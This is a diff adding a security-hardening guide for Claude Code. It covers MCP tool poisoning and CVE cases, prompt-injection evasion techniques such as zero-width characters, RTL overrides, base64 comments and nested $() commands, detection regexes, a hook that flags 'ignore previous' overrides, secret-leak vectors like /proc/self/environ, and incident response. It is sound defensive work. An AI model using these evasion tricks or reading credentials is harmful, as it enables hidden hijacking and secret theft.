+**Source**: [Cymulate EscapeRoute](https://cymulate.com/blog/cve-2025-53109-53110-escaperoute-anthropic/), [Checkpoint MCPoison](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/), [Cato CurXecute](https://www.catonetworks.com/blog/curxecute-rce/)
+
+#### Attack Patterns
+
+| Pattern | Description | Detection |
+|---------|-------------|-----------|
+| **Tool Poisoning** | Malicious instructions in tool metadata (descriptions, schemas) influence LLM before execution | Schema diff monitoring |
+| **Rug Pull** | Benign server turns malicious after gaining trust | Version pinning + hash verify |
+| **Confused Deputy** | Attacker registers tool with trusted name on untrusted server | Namespace verification |
+
+#### 5-Minute MCP Audit
+
+Before adding any MCP server, complete this checklist:
+
+| Step | Command/Action | Pass Criteria |
+|------|----------------|---------------|
+| **1. Source** | `gh repo view <mcp-repo>` | Stars >50, commits <30 days |
+| **2. Permissions** | Review `mcp.json` config | No `--dangerous-*` flags |
+| **3. Version** | Check version string | Pinned (not "latest" or "main") |
+| **4. Hash** | `sha256sum <mcp-binary>` | Matches release checksum |
+| **5. Audit** | Review recent commits | No suspicious changes |
+
+#### MCP Safe List (Community Vetted)
+
+| MCP Server | Status | Notes |
+|------------|--------|-------|
+| `@anthropic/mcp-server-*` | Safe | Official Anthropic servers |
+| `context7` | Safe | Read-only documentation lookup |
+| `sequential-thinking` | Safe | No external access, local reasoning |
+| `memory` | Safe | Local file-based persistence |
+| `filesystem` (unrestricted) | Risk | CVE-2025-53109/53110 - use with caution |
+| `database` (prod credentials) | Unsafe | Exfiltration risk - use read-only |
+| `browser` (full access) | Risk | Can navigate to malicious sites |
+
+*Last updated: 2026-01-15. [Report new assessments](../../issues)*
+
+#### Secure MCP Configuration Example
+
+```json
+{
+  "mcpServers": {
+    "context7": {
+      "command": "npx",
+      "args": ["-y", "@context7/mcp-server@1.2.3"],
+      "env": {}
+    },
+    "database": {
+      "command": "npx",
+      "args": ["-y", "@company/db-mcp@2.0.1"],
+      "env": {
+        "DB_HOST": "readonly-replica.internal",
+        "DB_USER": "readonly_user"
+      }
+    }
+  }
+}
+```
+
+**Key practices**:
+- Pin exact versions (`@1.2.3`, not `@latest`)
+- Use read-only database credentials
+- Minimize environment variables exposed
+
+### 1.2 Repository Pre-Scan
+
+Before opening untrusted repositories, scan for injection vectors:
+
+**High-risk files to inspect**:
+- `README.md`, `SECURITY.md` — Hidden HTML comments with instructions
+- `package.json`, `pyproject.toml` — Malicious scripts in hooks
+- `.cursor/`, `.claude/` — Tampered configuration files
+- `CONTRIBUTING.md` — Social engineering instructions
+
+**Quick scan command**:
+```bash
+# Check for hidden instructions in markdown
+grep -r "<!--" . --include="*.md" | head -20
+
+# Check for suspicious npm scripts
+jq '.scripts' package.json 2>/dev/null
+
+# Check for base64 in comments
+grep -rE "#.*[A-Za-z0-9+/]{20,}={0,2}" . --include="*.py" --include="*.js"
+```
+
+Use the [repo-integrity-scanner.sh](../examples/hooks/bash/repo-integrity-scanner.sh) hook for automated scanning.
+
+---
+
+## Part 2: Detection (While You Work)
+
+### 2.1 Prompt Injection Detection
+
+Coding assistants are vulnerable to indirect prompt injection through code context. Attackers embed instructions in files that Claude reads automatically.
+
+#### Evasion Techniques
+
+| Technique | Example | Risk | Detection |
+|-----------|---------|------|-----------|
+| **Zero-width chars** | `U+200B`, `U+200C`, `U+200D` | Instructions invisible to humans | Unicode regex |
+| **RTL override** | `U+202E` reverses text display | Hidden command appears normal | Bidirectional scan |
+| **ANSI escape** | `\x1b[` terminal sequences | Terminal manipulation | Escape filter |
+| **Null byte** | `\x00` truncation attacks | Bypass string checks | Null detection |
+| **Base64 comments** | `# SGlkZGVuOiBpZ25vcmU=` | LLM decodes automatically | Entropy check |
+| **Nested commands** | `$(evil_command)` | Bypass denylist via substitution | Pattern block |
+| **Homoglyphs** | Cyrillic `а` vs Latin `a` | Keyword filter bypass | Normalization |
+
+#### Detection Patterns
+
+```bash
+# Zero-width + RTL + Bidirectional
+[\x{200B}-\x{200D}\x{FEFF}\x{202A}-\x{202E}\x{2066}-\x{2069}]
+
+# ANSI escape sequences (terminal injection)
+\x1b\[|\x1b\]|\x1b\(
+
+# Null bytes (truncation attacks)
+\x00
+
+# Tag characters (invisible Unicode block)
+[\x{E0000}-\x{E007F}]
+
+# Base64 in comments (high entropy)
+[#;].*[A-Za-z0-9+/]{20,}={0,2}
+
+# Nested command execution
+\$\([^)]+\)|\`[^\`]+\`
+```
+
+#### Existing vs New Patterns
+
+The [prompt-injection-detector.sh](../examples/hooks/bash/prompt-injection-detector.sh) hook includes:
+
+| Pattern | Status | Location |
+|---------|--------|----------|
+| Role override (`ignore previous`) | Exists | Lines 50-72 |
+| Jailbreak attempts | Exists | Lines 74-95 |
+| Authority impersonation | Exists | Lines 120-145 |
+| Base64 payload detection | Exists | Lines 148-160 |
+| Zero-width characters | **New** | Added in v3.6.0 |
+| ANSI escape sequences | **New** | Added in v3.6.0 |
+| Null byte injection | **New** | Added in v3.6.0 |
+| Nested command `$()` | **New** | Added in v3.6.0 |
+
+### 2.2 Secret & Output Monitoring
+
+#### Tool Comparison
+
+| Tool | Recall | Precision | Speed | Best For |
+|------|--------|-----------|-------|----------|
+| **Gitleaks** | 88% | 46% | Fast (~2 min/100K commits) | Pre-commit hooks |
+| **TruffleHog** | 52% | 85% | Slow (~15 min) | CI verification |
+| **GitGuardian** | 80% | 95% | Cloud | Enterprise monitoring |
+| **detect-secrets** | 60% | 98% | Fast | Baseline approach |
+
+**Recommended stack**:
+```
+Pre-commit → Gitleaks (catch early, accept some FP)
+CI/CD → TruffleHog (verify with API validation)
+Monitoring → GitGuardian (if budget allows)
+```
+
+#### Environment Variable Leakage
+
+58% of leaked credentials are "generic secrets" (passwords, tokens without recognizable format). Watch for:
+
+| Vector | Example | Mitigation |
+|--------|---------|------------|
+| `env` / `printenv` output | Dumps all environment | Block in output scanner |
+| `/proc/self/environ` access | Linux env read | Block file access pattern |
+| Error messages with creds | Stack trace with DB password | Redact before display |
+| Bash history exposure | Commands with inline secrets | History sanitization |
+
+#### MCP Secret Scanner (Conceptual)
+
+```bash
+# Add Gitleaks as MCP tool for on-demand scanning
+claude mcp add gitleaks-scanner -- gitleaks detect --source . --report-format json
+
+# Usage in conversation
+"Scan this repo for secrets before I commit"
+```
+
+### 2.3 Hook Stack Setup
+
+Recommended security hook configuration for `~/.claude/settings.json`:
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "Bash",
+        "hooks": [
+          "~/.claude/hooks/dangerous-actions-blocker.sh"
+        ]
+      },
+      {
+        "matcher": "Edit|Write",
+        "hooks": [
+          "~/.claude/hooks/prompt-injection-detector.sh",
+          "~/.claude/hooks/unicode-injection-scanner.sh"
+        ]
+      }
+    ],
+    "PostToolUse": [
+      {
+        "matcher": "Bash",
+        "hooks": [
+          "~/.claude/hooks/output-secrets-scanner.sh"
+        ]
+      }
+    ],
+    "SessionStart": [
+      "~/.claude/hooks/mcp-config-integrity.sh"
+    ]
+  }
+}
+```
+
+**Hook installation**:
+```bash
+# Copy hooks to Claude directory
+cp examples/hooks/bash/*.sh ~/.claude/hooks/
+chmod +x ~/.claude/hooks/*.sh
+```
+
+---
+
+## Part 3: Response (When Things Go Wrong)
+
+### 3.1 Secret Exposed
+
+**First 15 minutes** (stop the bleeding):
+
+1. **Revoke immediately**
+   ```bash
+   # AWS
+   aws iam delete-access-key --access-key-id AKIA... --user-name <user>
+
+   # GitHub
+   # Settings → Developer settings → Personal access tokens → Revoke
+
+   # Stripe
+   # Dashboard → Developers → API keys → Roll key
+   ```
+
+2. **Confirm exposure scope**
+   ```bash
+   # Check if pushed to remote
+   git log --oneline origin/main..HEAD
+
+   # Search for the secret pattern
+   git log -p | grep -E "(AKIA|sk_live_|ghp_|xoxb-)"
+
+   # Full repo scan
+   gitleaks detect --source . --report-format json > exposure-report.json
+   ```
+
+**First hour** (assess damage):
+
+3. **Audit git history**
+   ```bash
+   # If pushed, you may need to rewrite history
+   git filter-repo --invert-paths --path <file-with-secret>
+   # WARNING: This rewrites history - coordinate with team
+   ```
+
+4. **Scan dependencies** for leaked keys in logs or configs
+
+5. **Check CI/CD logs** for secret exposure in build outputs
+
+**First 24 hours** (remediate):
+
+6. **Rotate ALL related credentials** (assume lateral movement)
+
+7. **Notify team/compliance** if required (GDPR, SOC2, HIPAA)
+
+8. **Document incident timeline** for post-mortem
+
+### 3.2 MCP Compromised
+
+If you suspect an MCP server has been compromised:
+
+1. **Disable immediately**
+   ```bash
+   # Remove from config
+   jq 'del(.mcpServers.<suspect>)' ~/.claude/mcp.json > tmp && mv tmp ~/.claude/mcp.json
+
+   # Or edit manually and restart Claude
+   ```
+
+2. **Verify config integrity**
+   ```bash
+   # Check for unauthorized changes
+   sha256sum ~/.claude/mcp.json
+   diff ~/.claude/mcp.json ~/.claude/mcp.json.backup
+
+   # Check project-level config too
+   cat .mcp.json 2>/dev/null
+   ```
+
+3. **Audit recent actions**
+   - Review session logs in `~/.claude/logs/`
+   - Check for unexpected file modifications
+   - Scan for new files in sensitive directories
+
+4. **Restore from known-good backup**
+   ```bash
+   cp ~/.claude/mcp.json.backup ~/.claude/mcp.json
+   ```
+
+### 3.3 Automated Security Audit
+
+For comprehensive security scanning, use the [security-auditor agent](../examples/agents/security-auditor.md):
+
+```bash
+# Run OWASP-based security audit
+claude -a security-auditor "Audit this project for security vulnerabilities"
+```
+
+The agent checks:
+- Dependency vulnerabilities (npm audit, pip-audit)
+- Code security patterns (OWASP Top 10)
+- Configuration security (exposed secrets, weak permissions)
+- MCP server risk assessment
+
+---
+
+## Appendix: Quick Reference
+
+### Security Posture Levels
+
+| Level | Measures | Time | For |
+|-------|----------|------|-----|
+| **Basic** | Output scanner + dangerous blocker | 5 min | Solo dev, experiments |
+| **Standard** | + Injection hooks + MCP vetting | 30 min | Teams, sensitive code |
+| **Hardened** | + Integrity verification + ZDR | 2 hours | Enterprise, production |
+
+### Command Quick Reference
+
+```bash
+# Scan for secrets
+gitleaks detect --source . --verbose
+
+# Check MCP config
+cat ~/.claude/mcp.json | jq '.mcpServers | keys'
+
+# Verify hook installation
+ls -la ~/.claude/hooks/
+
+# Test Unicode detection
+echo -e "test\u200Bhidden" | grep -P '[\x{200B}-\x{200D}]'
+```
+
+---
+
+## See Also
+
+- [Data Privacy Guide](./data-privacy.md) — Retention policies, compliance, what data leaves your machine
+- [Security Checklist Skill](../examples/skills/security-checklist.md) — OWASP Top 10 patterns for code review
+- [Security Auditor Agent](../examples/agents/security-auditor.md) — Automated vulnerability scanning
+- [Ultimate Guide §7.4](./ultimate-guide.md#74-security-hooks) — Hook system basics
+- [Ultimate Guide §8.6](./ultimate-guide.md#86-mcp-security) — MCP security overview
+
+## References
+
+- **CVE-2025-53109/53110** (EscapeRoute): [Cymulate Blog](https://cymulate.com/blog/cve-2025-53109-53110-escaperoute-anthropic/)
+- **CVE-2025-54135** (CurXecute): [Cato Networks](https://www.catonetworks.com/blog/curxecute-rce/)
+- **CVE-2025-54136** (MCPoison): [Checkpoint Research](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
+- **GitGuardian State of Secrets 2025**: [gitguardian.com](https://www.gitguardian.com/state-of-secrets-sprawl-report-2025)
+- **Prompt Injection Research**: [Arxiv 2509.22040](https://arxiv.org/abs/2509.22040)
+- **MCP Security Best Practices**: [modelcontextprotocol.io](https://modelcontextprotocol.io/specification/draft/basic/security_best_practices)
+
+---
+
+*Version 1.0.0 | January 2026 | Part of [Claude Code Ultimate Guide](../README.md)*
--- a/guide/ultimate-guide.md
+++ b/guide/ultimate-guide.md
@ -4786,6 +4786,8 @@ exit 0

 Security hooks are critical for protecting your system.

+> **Advanced patterns**: For comprehensive security including Unicode injection detection, MCP config integrity verification, and CVE-specific mitigations, see [Security Hardening Guide](./security-hardening.md).
+
 ### Recommended Security Rules

 ```bash
@ -5480,6 +5482,8 @@ claude plugin uninstall <conflicting-plugin>

 MCP servers extend Claude Code's capabilities, but they also expand its attack surface. Before installing any MCP server, especially community-created ones, apply the same security scrutiny you'd use for any third-party code dependency.

+> **CVE details & advanced vetting**: For documented CVEs (2025-53109/53110, 54135, 54136), MCP Safe List, and incident response procedures, see [Security Hardening Guide](./security-hardening.md).
+
 ### Pre-Installation Checklist

 Before adding an MCP server to your configuration: